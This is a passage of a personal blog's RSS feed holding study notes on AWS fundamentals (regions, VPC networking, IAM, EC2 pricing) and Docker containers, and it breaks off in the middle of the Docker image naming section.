<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Personal Notes, Learning, Self-Preparation on Sagar Chamling&#39;s Blogging Site</title>
    <link>https://sagarchamling.com/notes/</link>
    <description>Recent content in Personal Notes, Learning, Self-Preparation on Sagar Chamling&#39;s Blogging Site</description>
    <image>
      <title>Sagar Chamling&#39;s Blogging Site</title>
      <url>https://sagarchamling.com/logo.svg</url>
      <link>https://sagarchamling.com/logo.svg</link>
    </image>
    <generator>Hugo -- gohugo.io</generator>
    <language>en</language>
    <atom:link href="https://sagarchamling.com/notes/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Amazon Web Services 101</title>
      <link>https://sagarchamling.com/notes/aws-101/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://sagarchamling.com/notes/aws-101/</guid>
      <description>AWS Notes and Summary</description>
      <content:encoded><![CDATA[<h2 id="cloud-computing">Cloud Computing</h2>
<h3 id="aws-global-infrastructure">AWS Global Infrastructure</h3>
<h4 id="region">Region</h4>
<p>Region is a physical location around the world where data centers are clustered together. Each AWS Region consists of multiple, isolated and physically separated Availability Zones within a geographic area.</p>
<h4 id="availability-zone">Availability Zone</h4>
<p>A group of logical data centers is called an availability zone. They are interconnected with high-bandwidth, low-latency networking, to provide low-latency networking between zones that is sufficient to accomplish synchronous replication (same time replication). Typically, 3 availability zone in one region.</p>
<h4 id="edge-location">Edge Location</h4>
<p>Edge locations are connected to the AWS Regions through the AWS network across the globe. It cache copies of customer contents for faster delivery to users at any location.</p>
<h3 id="planning-for-failure">Planning for Failure</h3>
<ul>
<li><strong>Storage</strong> - File stored in AWS S3, is redundantly copied into every Availability Zone in that Region.</li>
<li><strong>Compute</strong> - It is a best practice to spread out computing resources across multiple Availability Zones to guarantee high availability.</li>
<li><strong>Database</strong> - Database can be configured for Multi-AZ deployment.</li>
</ul>
<h3 id="shared-responsibility">Shared Responsibility</h3>
<ul>
<li>Customer are responsible for the security of everything that they create and put <strong>IN</strong> the AWS cloud. (Security IN the cloud)</li>
<li>AWS manages the security <strong>OF</strong> the cloud, specifically the physical infrastructure that hosts customer resources. (Security OF the cloud)</li>
</ul>
<p>
  
  <input type="checkbox" id="zoomCheck-6f1e4" hidden />
  <label for="zoomCheck-6f1e4">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/shared-responsibility.webp"
      alt="Shared Responsibility Model"
       />
  </label>
</p>
<h3 id="aws-well-architected-framework">AWS Well-Architected Framework</h3>
<ul>
<li><strong>Operational Excellence</strong> - run and monitor systems to deliver business value and continually improve supporting processes and procedures.</li>
<li><strong>Security</strong> - ability to protect information, systems, and assets while delivering business value through risk assessments and mitigation strategies.</li>
<li><strong>Reliability</strong> - ability to recover from disruptions, dynamically acquire on demand computing resources and mitigate disruptions.</li>
<li><strong>Performance Efficiency</strong> - ability to use computing resources efficiently to meet system requirements and to maintain that efficiency as demand changes and technologies evolve.</li>
<li><strong>Cost Optimization</strong> - ability to run systems to deliver business value at the lowest price point.</li>
</ul>
<h3 id="total-cost-of-ownership-tco">Total Cost of Ownership (TCO)</h3>
<p>It is a financial metric that is used to estimate and compare direct and indirect costs of a product or a service. It typically includes the actual costs of the procurement, management, maintenance and decommissioning of hardware resources.</p>
<h3 id="instances">Instances</h3>
<ul>
<li><strong>On-Demand</strong> instance are ideally used for computing needs that are less than a year.</li>
<li><strong>Spot instances</strong> are used for computing needs that need to run for low costs and can be interrupted.</li>
<li><strong>Lambda instances</strong> do not exist. You can use AWS Lambda to process snippets of code, when a Lambda function is triggered.</li>
</ul>
<h2 id="networking">Networking</h2>
<h3 id="classless-inter-domain-routing">Classless Inter-Domain Routing</h3>
<p><strong>CIDR</strong>, method to define a network&rsquo;s IP range contained in it. In below example, the netmask, 24, first 24 (left to right) cannot change. Remaining 8 bits are flexible and can go from 0 to 255 providing 256 IP addresses in the network.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">192.0.2.0/24
</span></span></code></pre></div><ul>
<li><strong>Fixed IP address</strong>: All 32 bits are fixed. Use case: Set up a firewall rule and give access to a specific host.</li>
<li><strong>Internet CIDR block</strong>: All 32 bits are flexible. Use case. Setup a firewall rules to allow internet traffic.</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">192.0.2.0/32 <span class="c1"># Fixed IP address</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">0.0.0.0/0 <span class="c1"># Internet CIDR block</span>
</span></span></code></pre></div><h3 id="subnet">Subnet</h3>
<p>Subnet or sub-network, is a network within a network. With this access control over subnets, we can decide which subnets in the networks can communicate with each other. With a subnet, it reduces the bandwidth on the routers and traffic can reach its destination in a shorter amount of time. IP address needs to travel through the router to reach IP in another subnet. Strategic placement of subnets and IPs within the subnet help to reduce network complexities and reduces network loads for more efficient traffic flow.</p>
<h3 id="planning-a-subnet">Planning a subnet</h3>
<blockquote>
<p>Note: IP addresses are required by load balancers, switches, routers, servers, workstations, printers, fax machines, mobile. Router and switches require multiple IP addresses.</p>
</blockquote>
<p>
  
  <input type="checkbox" id="zoomCheck-6c661" hidden />
  <label for="zoomCheck-6c661">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/cidr-24.webp"
      alt="Network CIDR block /24"
       />
  </label>


  
  <input type="checkbox" id="zoomCheck-7a638" hidden />
  <label for="zoomCheck-7a638">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/cidr-16.webp"
      alt="Network CIDR block /16"
       />
  </label>
</p>
<ul>
<li><strong>Public Subnet</strong>: Allows internet traffic that is routed through an internet gateway to reach the subnet.</li>
<li><strong>Private Subnet</strong>: Denies traffic to subnet that is routed from the public internet. Access to public internet from private subnet requires a NAT device.</li>
</ul>
<h3 id="amazon-vpc">Amazon VPC</h3>
<p>Amazon VPC is a virtual networking environment that gives you full control over your virtual networking environment, which includes resource placement, connectivity, and security. When you launch VPC, choose region, then launch subnets in availability zones.</p>
<p>VPC IDs, string of random numbers and letters to identify VPC and tags, more identifiable name, are used to associate VPC components to the correct VPC. e.g. <code>vpc-012kkadf232321234 (Development VPC)</code></p>
<blockquote>
<p>Creating VPC, main route table, network ACL, and security group will be created automatically.</p>
</blockquote>
<ul>
<li><strong>AWS Direct Connect</strong> establish a dedicated, private network connection between your network and one of the Direct Connect locations to reduce network costs, increase bandwidth throughput, and provide a more consistent network experience than internet-based connections.</li>
<li><strong>VPC Endpoints</strong> provide connections between VPC and supported services.
<ul>
<li><strong>Interface Endpoints</strong> AWS PrivateLink provides private connectivity between VPCs, AWS Services, and on-premises network without exposing traffic to the public internet.</li>
<li><strong>Gateway Endpoints</strong> provide reliable connectivity to Amazon S3 and DynamoDB without requiring an internet gateway or a NAT device for VPC.</li>
</ul>
</li>
<li><strong>VPC Peering</strong> is network connection between two VPCs that you can use to route traffic between them privately. Restriction: IP address ranges cannot overlap and transitive peering is not supported, must explicitly establish peering connection to be able to communicate.</li>
<li><strong>AWS Transit Gateway</strong> connects VPCs and on-premises networks through a central hub.</li>
</ul>
<h4 id="route-table">Route Table</h4>
<p>Main Route Table directs traffic in VPC, each route specifies <em>a destination</em>, CIDR block or range of address where traffic is supposed to go and <em>a target</em>, the gateway, network interface, or connection through which to send the destination traffic. Each subnet in VPC must be associated with route table and follows many to one rules, many subnets can be associated with same route table.</p>
<p>
  
  <input type="checkbox" id="zoomCheck-91a62" hidden />
  <label for="zoomCheck-91a62">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/route-table.webp"
      alt="Route Table"
       />
  </label>
</p>
<h4 id="security-groups">Security Groups</h4>
<p>Act as firewalls to allow only the traffic that you authorize and route the traffic to only the parts of your network that you permit. <strong>Instance level firewall</strong>, filters inbound and outbound traffic that is allowed to instances. Security groups are stateful.</p>
<p>By default, there is no inbound traffic rules but there&rsquo;s outbound rule that allows all outbound traffic.</p>
<p>
  
  <input type="checkbox" id="zoomCheck-10fa4" hidden />
  <label for="zoomCheck-10fa4">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/difference.webp"
      alt="Comparing Security Groups vs Network ACLs"
       />
  </label>
</p>
<h4 id="network-acls">Network ACLs</h4>
<p>Provides an additional level of stateless granular-level security only if required. Network ACLs act at the <strong>subnet level</strong> and control traffic. Each subnet in VPC must be associated with network ACL. Network ACLs can be associated with multiple subnets. The network administrator would need to update the network ACLs before that return traffic could pass out of the subnet.</p>
<p>
  
  <input type="checkbox" id="zoomCheck-7c18b" hidden />
  <label for="zoomCheck-7c18b">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/network-acl.webp"
      alt="Network ACL rule"
       />
  </label>
</p>
<h4 id="vpc-architecture">VPC Architecture</h4>
<blockquote>
<p>Setting up AWS account, will automatically provide a default VPC in each AWS Region. Default VPCs have a public subnet with internet access for each Availability Zone in the Region such that EC2 instances can be immediately launched.</p>
</blockquote>
<blockquote>
<p>Service quota: 5 VPCs per region per account. Can be increased by raising a ticket.</p>
</blockquote>
<p>
  
  <input type="checkbox" id="zoomCheck-a259f" hidden />
  <label for="zoomCheck-a259f">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/vpc-architecture.webp"
      alt="VPC Architecture"
       />
  </label>
</p>
<h4 id="public-access-to-presentation-tier">Public access to Presentation tier</h4>
<p>
  
  <input type="checkbox" id="zoomCheck-be15b" hidden />
  <label for="zoomCheck-be15b">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/multi-tier-public.webp"
      alt="Multi-tier Public Application"
       />
  </label>
</p>
<h4 id="restricted-access-to-presentation-tier">Restricted access to Presentation tier</h4>
<p>
  
  <input type="checkbox" id="zoomCheck-8d82d" hidden />
  <label for="zoomCheck-8d82d">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/multi-tier-private.webp"
      alt="Multi-tier Private Application"
       />
  </label>
</p>
<h4 id="reserved-subnet-ip-addresses">Reserved subnet IP addresses</h4>
<blockquote>
<p>Note: Best practice to create larger subnets (256 IP addresses) instead of small subnets (65 IP addresses)</p>
</blockquote>
<table>
<thead>
<tr>
<th>Reserved IP address</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>First IP</td>
<td>Network address</td>
</tr>
<tr>
<td>Second IP</td>
<td>VPC local router (internal communication)</td>
</tr>
<tr>
<td>Third IP</td>
<td>DNS resolution</td>
</tr>
<tr>
<td>Fourth IP</td>
<td>Future use</td>
</tr>
<tr>
<td>Last IP</td>
<td>Network broadcast address</td>
</tr>
</tbody>
</table>
<h4 id="network-gateway">Network Gateway</h4>
<p>A gateway that determines the traffic that will be given access to network is network gateway.</p>
<ul>
<li><strong>Internet Gateway</strong> enables communication between VPC and the internet.</li>
<li><strong>Virtual Private Gateway</strong> enables to connect on-premise site to VPC also referred as site-to-site VPN connection.</li>
</ul>
<h3 id="elastic-ip">Elastic IP</h3>
<p>Elastic IP address replaces the default public IP address, you can mask the failure of an instance or software by rapidly remapping the address to another instance in VPC. It operates in Region level, can be used in any VPC in the region where it was created.</p>
<h3 id="nat-gateway">NAT Gateway</h3>
<p>You can use a NAT gateway so that instances in a private subnet can connect to services outside your VPC but external services cannot initiate a connection with those instances.</p>
<p>
  
  <input type="checkbox" id="zoomCheck-cb787" hidden />
  <label for="zoomCheck-cb787">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/nat-gateway.webp"
      alt="NAT Gateway"
       />
  </label>
</p>
<h2 id="security">Security</h2>
<h3 id="layer-of-security">Layer of Security</h3>
<ul>
<li><strong>Perimeter Layer</strong> - security guards, fencing, security feeds, intrusion detection technology, and other security measures.</li>
<li><strong>Environmental Layer</strong> - environmental considerations from site selection and construction to operations and sustainability.</li>
<li><strong>Infrastructure Layer</strong> - backup power equipment, HVAC system and fire suppression equipment.</li>
<li><strong>Data Layer</strong></li>
</ul>
<h3 id="iam">IAM</h3>
<p>AWS Identity and Access Management is an AWS service that lets you control user access to services in the AWS Cloud.</p>
<blockquote>
<p>Note: Creating AWS account, you access your account as the AWS account root user, has complete access to all AWS services and resources in the account.</p>
</blockquote>
<ul>
<li><strong>IAM user</strong> - entities, represents a specific person or service that uses IAM users to interact with AWS, no permission by default</li>
<li><strong>IAM policies</strong> - an JSON documents that define specific actions that the entity cna perform on a specific AWS service or resource.</li>
<li><strong>IAM group</strong> - a group of IAM users that have the same permissions, IAM users in a group inherit the permissions that are granted in IAM policy. It cannot be nested, is unique, aren&rsquo;t distinguished by case.</li>
<li><strong>IAM role</strong> - similar to user, a role doesn&rsquo;t have any credentials associated with it, intended to be used by anyone who needs <em>short term access</em>.
<ul>
<li>Using roles has benefit of specified security credentials not being tied directly to an entity.</li>
<li><strong>IAM role trust policy</strong> JSON document where principals that you trust to assume the role are defined.</li>
</ul>
</li>
<li><strong>IAM Access Analyzer</strong> - identify the resources in your organization and accounts that are shared with the external entity, review its findings to determine whether the access is unintended or safe.
<ul>
<li><strong>set</strong> or grant, detailed permissions</li>
<li><strong>verify</strong> who can access what</li>
<li><strong>refine</strong> by removing overly broad access</li>
</ul>
</li>
</ul>
<h4 id="iam-credential-types">IAM Credential Types</h4>
<ul>
<li><strong>AWS Management Console</strong> provided with a username and password.</li>
<li><strong>Programmatic access</strong> provided with a set of access keys, programmatic calls to AWS using AWS CLI, SDKs, HTTPS.
<ul>
<li>comprised of an access key ID and a secret key.</li>
<li>user have two active access keys useful to rotate the user&rsquo;s access keys or revoke permissions.</li>
</ul>
</li>
</ul>
<h4 id="iam-identity-center">IAM Identity Center</h4>
<p>YOu need IAM user&rsquo;s credentials having necessary permissions to perform create, modify or delete EC2 instance. However, you need instance&rsquo;s key pair to perform patch or install software and add or remove file from the instance. The key pairs doesn&rsquo;t provide accountability for who is using the keys.</p>
<p>AWS IAM Identity Center (successor to AWS Single Sign-On) help you securely create and connect workforce identities and manage their access centrally across AWS accounts and applications.</p>
<h4 id="iam-policies">IAM Policies</h4>
<p>IAM Policies are formal statement of permissions.</p>
<ul>
<li><strong>Effect</strong> required, specifies statement results is allow or an explicit deny. Explicit Deny takes the precedence.</li>
<li><strong>Action</strong> describes the specific action or actions that will be allowed or denied.</li>
<li><strong>Resource</strong> - specifies the object or objects that the statement covers. Specify a resource using Amazon Resource Name (ARN).</li>
<li><strong>NotResource</strong> - advanced policy element that explicitly matches every resource except those specified.</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;Version&#34;</span><span class="p">:</span> <span class="s2">&#34;2012-01-01&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;Statement&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;Effect&#34;</span><span class="p">:</span> <span class="s2">&#34;Allow&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;Action&#34;</span><span class="p">:</span> <span class="p">[</span><span class="s2">&#34;DynamoDB:*&#34;</span><span class="p">,</span> <span class="s2">&#34;s3:*&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;Resources&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;arn:aws:dynamodb:region:account-number:table/table-name&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;arn:aws:s3:::bucket-name&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;arn:aws:s3:::bucket-name/*&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;Effect&#34;</span><span class="p">:</span> <span class="s2">&#34;Deny&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;Action&#34;</span><span class="p">:</span> <span class="p">[</span><span class="s2">&#34;DynamoDB:*&#34;</span><span class="p">,</span> <span class="s2">&#34;s3:*&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;NotResources&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;arn:aws:dynamodb:region:account-number:table/table-name&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;arn:aws:s3:::bucket-name&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;arn:aws:s3:::bucket-name/*&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h5 id="identity-and-resource-based-policies">Identity and resource based policies</h5>
<p>Identity based policies are attached to a principal (or identity), such as an IAM user, role, or group.</p>
<ul>
<li><strong>AWS managed policies</strong> created and managed by AWS. ~1,000 AWS managed policies.</li>
<li><strong>Customer managed policies</strong> created and managed by customer, precise control.</li>
<li><strong>Inline policies</strong> are policies that are embedded directly into a single user, group or role. [Not recommended].</li>
</ul>
<p>Resource based policies are attached to a resource, such as S3 bucket or an AWS Key Management Service. You define the policy on the resource itself and is inline only.</p>
<h5 id="conflicting-policies">Conflicting policies</h5>
<ul>
<li>default implicit deny</li>
<li>explicit allow overrides implicit deny</li>
<li>explicit deny overrides explicit allow</li>
</ul>
<p>
  
  <input type="checkbox" id="zoomCheck-c0a95" hidden />
  <label for="zoomCheck-c0a95">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/conflicting-policies.webp"
      alt="Conflicting policies"
       />
  </label>
</p>
<h3 id="amazon-cognito">Amazon Cognito</h3>
<p>Amazon Cognito is fully-managed service that provides authentication and authorization for web and mobile apps. Two main components:</p>
<ul>
<li><strong>User pools</strong> user directory that provides sign-up and sign-in options for your app users, federated through a third-party identity provider (IdP).</li>
<li><strong>Identity pools</strong> enable to create unique identities for your users and federate them with identity providers. temporary and limited privilege AWS credentials to access other AWS services.</li>
</ul>
<h3 id="aws-kms-and-secrets-manager">AWS KMS and Secrets Manager</h3>
<ul>
<li><strong>AWS KMS</strong> - is data protection services, enables you to create and manage encryption keys, integrates CloudTrail.
<ul>
<li><strong>Customer-managed keys</strong> main components: Key administrators, key policies and key users.</li>
</ul>
</li>
<li><strong>AWS Secret Manager</strong> - centrally manage secrets used to access resources on AWS, on third-party services and on premises, automatically rotate secrets, control access to secrets, and audit and monitor secret usuage</li>
</ul>
<h2 id="source">Source</h2>
<ul>
<li><a href="https://awseducate.instructure.com/courses/891">Introduction to Cloud 101 - AWS Educate</a></li>
<li><a href="https://awseducate.instructure.com/courses/911">Getting Started with Networking (Lab) - AWS Educate</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Amazon Web Services 201: Solution Architect</title>
      <link>https://sagarchamling.com/notes/aws-201-solution-architect/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://sagarchamling.com/notes/aws-201-solution-architect/</guid>
      <description>AWS Solution Architect Notes</description>
      <content:encoded><![CDATA[<h2 id="key-notes">Key Notes</h2>
<ul>
<li>Every action that you make in AWS is an API call that is authenticated and authorized.</li>
<li>Security and compliance are a shared responsibility between AWS and you.</li>
<li>When you first access AWS, you begin with a single sign-in identity known as the root user.</li>
<li>AWS Identity and Access Management (IAM) is an AWS service that helps you manage access to your AWS account and resources.</li>
<li>Maintaining roles is more efficient than maintaining users, users have long-term credentials, whereas IAM dynamically provides temporary credentials that expire after a defined period of time. (15 minutes to 36 hours).</li>
<li>Policies attached to Role, Role can be assigned and unassigned efficiently to User or AWS Services to perform specific task without modifying any other policies.</li>
<li>AWS IAM Identity Center allows to manage federated users, then can be used to assign a role to a federated user when access is requested through an identity provider.</li>
<li>Three types of compute options are available: virtual machines (VMs), container services, and serverless.</li>
<li>When architecting any application for high availability, consider using at least two EC2 instances in two separate Availability Zones.</li>
</ul>
<p>
  
  <input type="checkbox" id="zoomCheck-2c590" hidden />
  <label for="zoomCheck-2c590">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/aws-basic-diagram.webp"
      alt="AWS Basic Diagram"
       />
  </label>
</p>
<h2 id="choosing-the-right-aws-region">Choosing the right AWS Region</h2>
<p>AWS regions are independent from one another.</p>
<ul>
<li><strong>Latency</strong> - application sensitive to latency (delay between a request for data and the response), choose a REgion that is close to your user base.</li>
<li><strong>Pricing</strong> - Due to the local economy and the physical nature of operating data centers, prices vary from one Region to another. AWS charges based on the financial factors specific to each Region.</li>
<li><strong>Service Availability</strong> - Some services might not be available in some regions.</li>
<li><strong>Data Compliance</strong> - Enterprise companies often must comply with regulations that require customer data to be stored in a specific geographic territory. (GDPR)</li>
</ul>
<h3 id="availability-zones">Availability Zones</h3>
<p>Availability Zones consist of one or more data centers with redundant power, networking and connectivity, connected using redundant high-speed and low-latency links. e.g. us-east-1a, sa-east-1b.</p>
<p>To keep application available, we have to maintain high availability resiliency. At minimum, should use two Availability Zones.</p>
<h3 id="edge-locations">Edge locations</h3>
<p>Edge locations are global locations where content is cached. For example, if your media content is in London and you want to share video files with your customers in Sydney, you could have the videos cached in an edge location closest to Sydney. AWS has more than 400+ edge locations globally.</p>
<blockquote>
<p>Amazon CloudFront is a specific Content Delivery Network (CDN) service provided by Amazon Web Services (AWS). It uses a network of Edge Locations around the world to cache and serve content to users with low latency and high data transfer speeds.</p>
</blockquote>
<h2 id="aws-compute">AWS Compute</h2>
<p>The EC2 instance is the entity you interact with, where you can install your web server and serve your content to users. An AMI includes the operating system, storage mapping, architecture type, launch permissions, and any additional preinstalled software applications. In this case, the AMI is how you model and define your instance.</p>
<p>When you launch a new instance, AWS allocates a virtual machine that runs on a hypervisor. Then the AMI that you selected is copied to the root device volume, which contains the image that is used to boot the volume.</p>
<h3 id="amazon-ec2-instance-types">Amazon EC2 instance types</h3>
<p>For example, c5n.xlarge can be broken down as follows:</p>
<ul>
<li>First position c, indicates the instance family. This indicates that this instance belongs to the compute optimized family.</li>
<li>Second position 5, indicates the generation of the instance. This instance belongs to the fifth generation of instances.</li>
<li>Remaining letters before the period – In this case, n indicates additional attributes, such as local NVMe storage.</li>
<li>After the period, xlarge indicates the instance size. In this example, it&rsquo;s xlarge.</li>
</ul>
<p>
  
  <input type="checkbox" id="zoomCheck-3a7ba" hidden />
  <label for="zoomCheck-3a7ba">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/ec2-instance-lifecycle.webp"
      alt="EC2 instance lifecycle"
       />
  </label>
</p>
<h3 id="difference-between-stop-and-stop-hibernate">Difference between stop and stop-hibernate</h3>
<p>When you stop an instance, it enters the stopping state until it reaches the stopped state. AWS does not charge usage or data transfer fees for your instance after you stop it. But storage for any Amazon EBS volumes is still charged. While your instance is in the stopped state, you can modify some attributes, like the instance type. When you stop your instance, the data from the instance memory (RAM) is lost.</p>
<p>When you stop-hibernate an instance, Amazon EC2 signals the operating system to perform hibernation (suspend-to-disk), which saves the contents from the instance memory (RAM) to the EBS root volume. You can hibernate an instance only if hibernation is turned on and the instance meets the hibernation prerequisites.</p>
<h3 id="terminate">Terminate</h3>
<p>When you terminate an instance, the instance stores are erased, and you lose both the public IP address and private IP address of the machine</p>
<h2 id="pricing">Pricing</h2>
<p><strong>On-Demand Instances</strong> are recommended for the following use cases:</p>
<ul>
<li>Users who prefer the low cost and flexibility of Amazon EC2 without upfront payment or long-term commitments</li>
<li>Applications with short-term, spiky, or unpredictable workloads that cannot be interrupted</li>
<li>Applications being developed or tested on Amazon EC2 for the first time</li>
</ul>
<p><strong>Spot Instances</strong> are recommended for the following use cases:</p>
<ul>
<li>Applications that have flexible start and end times</li>
<li>Applications that are only feasible at very low compute prices</li>
<li>Users with fault-tolerant or stateless workloads</li>
</ul>
<p><strong>Savings Plans</strong> are recommended for the following use cases:</p>
<ul>
<li>Workloads with a consistent and steady-state usage</li>
<li>Customers who want to use different instance types and compute solutions across different locations</li>
<li>Customers who can make monetary commitment to use Amazon EC2 over a 1-year or 3-year term</li>
</ul>
<p>With <strong>Reserved Instances</strong>, you can choose the type that best fits your applications needs.</p>
<ul>
<li>Standard Reserved Instances: These provide the most significant discount (up to 72 percent off On-Demand pricing) and are best suited for steady-state usage.</li>
<li>Convertible Reserved Instances: These provide a discount (up to 54 percent off On-Demand pricing) and the capability to change the attributes of the Reserved Instance if the exchange results in the creation of Reserved Instances of equal or greater value. Like Standard Reserved Instances, Convertible Reserved Instances are best suited for steady-state usage.</li>
<li>Scheduled Reserved Instances: These are available to launch within the time windows that you reserve. With this option, you can match your capacity reservation to a predictable recurring schedule that only requires a fraction of a day, a week, or a month.</li>
</ul>
<p><strong>Dedicated Hosts</strong> can help you reduce costs because you can use your existing server-bound software licenses, such as Windows Server, SQL Server, and Oracle licenses.</p>
<ul>
<li>Dedicated Hosts can be purchased on demand (hourly).</li>
<li>Dedicated Hosts can be purchased as a Reservation for up to 70 percent off the On-Demand price.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Containers 101</title>
      <link>https://sagarchamling.com/notes/containers-101/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://sagarchamling.com/notes/containers-101/</guid>
      <description>Containers with Docker Notes and Summary</description>
      <content:encoded><![CDATA[<h2 id="what-and-why">What and Why</h2>
<p>A container, powered by the containerization engine, is a standard unit of software that encapsulates the application code, runtime, system tools, system libraries, and settings necessary for programmers to build, ship, and run applications efficiently.</p>
<table>
<thead>
<tr>
<th>Features</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Isolation and Allocation</td>
<td>No way to define resources boundaries for apps in a physical server</td>
</tr>
<tr>
<td>Server Utilization</td>
<td>Not optimal because server tend to be either over-utilized or under-utilized</td>
</tr>
<tr>
<td>Provisioning and Cost</td>
<td>Requires long periods for provisioning resources and expensive maintenance costs</td>
</tr>
<tr>
<td>Performance</td>
<td>Constrained during peak workloads</td>
</tr>
<tr>
<td>Portability</td>
<td>Applications are not portable across multiple environments and operating systems</td>
</tr>
<tr>
<td>Resiliency</td>
<td>Complex, time-consuming and expensive</td>
</tr>
<tr>
<td>Scalability</td>
<td>Limited scalability and resiliency</td>
</tr>
<tr>
<td>Automation</td>
<td>Difficult to implement for multiple platforms</td>
</tr>
</tbody>
</table>
<h2 id="characteristics">Characteristics</h2>
<p>
  
  <input type="checkbox" id="zoomCheck-e8280" hidden />
  <label for="zoomCheck-e8280">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/container-characteristics.webp"
      alt="Container Characteristics"
       />
  </label>
</p>
<h2 id="challenges">Challenges</h2>
<ul>
<li>Security impacted if operating system affected</li>
<li>Difficult to manage thousands of containers</li>
<li>Complex to migrate legacy projects to container technology</li>
<li>Difficult to right-size containers for specific scenarios</li>
</ul>
<h2 id="vendors">Vendors</h2>
<ul>
<li><strong>Docker</strong> - Robust and most popular container platform today</li>
<li><strong>Podman</strong> - Daemon-less architecture providing more security than Docker containers</li>
<li><strong>LXC</strong> - Preferred for data-intensive apps and ops</li>
<li><strong>Vagrant</strong> - Offers highest levels of isolation on the running physical machine</li>
</ul>
<h2 id="docker">Docker</h2>
<p>Docker is an open platform, or engine, written in Go programming language, uses Linux kernel&rsquo;s features and namespaces technology to provide isolated workspace, where programmers can <strong>Develop -&gt; Ship -&gt; Run -&gt; Containers</strong>. Docker became popular because:</p>
<ul>
<li>Simple architecture</li>
<li>Scalability</li>
<li>Easy portability</li>
</ul>
<p>
  
  <input type="checkbox" id="zoomCheck-47b61" hidden />
  <label for="zoomCheck-47b61">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/container-creation-process.webp"
      alt="Container Creation Process"
       />
  </label>
</p>
<h2 id="docker-commands">Docker Commands</h2>
<p>
  
  <input type="checkbox" id="zoomCheck-6af87" hidden />
  <label for="zoomCheck-6af87">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/docker-commands.webp"
      alt="Docker Commands"
       />
  </label>
</p>
<h2 id="docker-objects">Docker Objects</h2>
<h3 id="dockerfile">Dockerfile</h3>
<p>is a text file that contains instructions needed to create an image.</p>
<ul>
<li>FROM - Defines base image, always begin from this instructions.</li>
<li>RUN - Executes arbitrary commands</li>
<li>CMD - Defines default command for container execution</li>
</ul>
<blockquote>
<p>CMD should always have one command instructions. If multiple CMD instructions then only the last command instruction will take effect.</p>
</blockquote>
<h3 id="image">Image</h3>
<blockquote>
<p>layers can be shared between images, which saves disk space and network bandwidth.</p>
</blockquote>
<p>
  
  <input type="checkbox" id="zoomCheck-10a73" hidden />
  <label for="zoomCheck-10a73">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/docker-image-layer.webp"
      alt="Docker Image Layer"
       />
  </label>
</p>
<h4 id="naming">Naming</h4>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">      hostname/repository:tag
</span></span><span class="line"><span class="cl">        ^         ^        ^
</span></span><span class="line"><span class="cl">      /           <span class="p">|</span>          <span class="se">\
